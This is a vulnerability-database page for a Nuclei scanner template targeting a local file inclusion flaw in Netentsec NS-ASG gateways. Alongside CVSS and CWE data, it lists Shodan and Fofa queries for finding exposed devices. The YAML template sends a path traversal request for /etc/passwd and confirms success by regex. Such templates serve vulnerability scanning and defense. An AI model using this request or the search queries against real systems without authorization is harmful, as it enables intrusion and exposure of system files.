SecurityContext

nsasg-arbitrary-file-read: NS ASG - Local File Inclusion

Classification

  • Cwe: CWE-22
  • Cvss score: 7.5
  • Cvss vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • Cpe: cpe:2.3:h:netentsec:ns-asg:*:*:*:*:*:*:*:*
  • Not known: epss score, epss percentile

Metadata

  • Fofa-query: app="网康科技-NS-ASG安全网关"
  • Max-request: 2
  • Product: ns-asg
  • Shodan-query: http.title:“NS-ASG”
  • Vendor: netentsec

Products

ProductIndexedUrl
netentsec:ns-asgyes/v1/products/netentsec/ns-asg

Labels

  • Name: NS ASG - Local File Inclusion
  • Impact: Attackers can include and potentially execute local files, leading to sensitive information disclosure or code execution.
  • Remediation: Update to the latest version of NS ASG.
  • Vulnerability type: file_inclusion
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: nsasg-arbitrary-file-read

info:

name: NS ASG - Local File Inclusion

author: pikpikcu,ritikchaddha

severity: high

description: NS ASG is vulnerable to local file inclusion.

reference:

- https://zhuanlan.zhihu.com/p/368054963

- http://wiki.xypbk.com/Web%E5%AE%89%E5%85%A8/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3/%E7%BD%91%E5%BA%B7%20NS-ASG%E5%AE%89%E5%85%A8%E7%BD%91%E5%85%B3%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md

classification:

cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

cvss-score: 7.5

cwe-id: CWE-22

cpe: cpe:2.3:h:netentsec:ns-asg:*:*:*:*:*:*:*:*

metadata:

max-request: 2

shodan-query: http.title:“NS-ASG”

fofa-query: app="网康科技-NS-ASG安全网关"

product: ns-asg

vendor: netentsec

tags: nsasg,lfi,vuln

http:

- method: GET

path:

- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=../../../../../../../../etc/passwd"

- "{{BaseURL}}/admin/cert_download.php?file=pqpqpqpq.txt&certfile=cert_download.php"

stop-at-first-match: true

matchers-condition: or

matchers:

- type: regex

regex:

- "root:.*:0:0:"

- type: word

part: body

words:

- "$certfile"

- "application/pdf"

condition: and

digest: 490a0046304402201aa441d5390629de3a6981250c7631168a7051b4e65586b796d4227fcf43ce7a02207320961070dbe10312f3e529e842b980aef958ebdebc242b60f41c3527ab2ff1:922c64590222798bb761d5b6d8e72950

```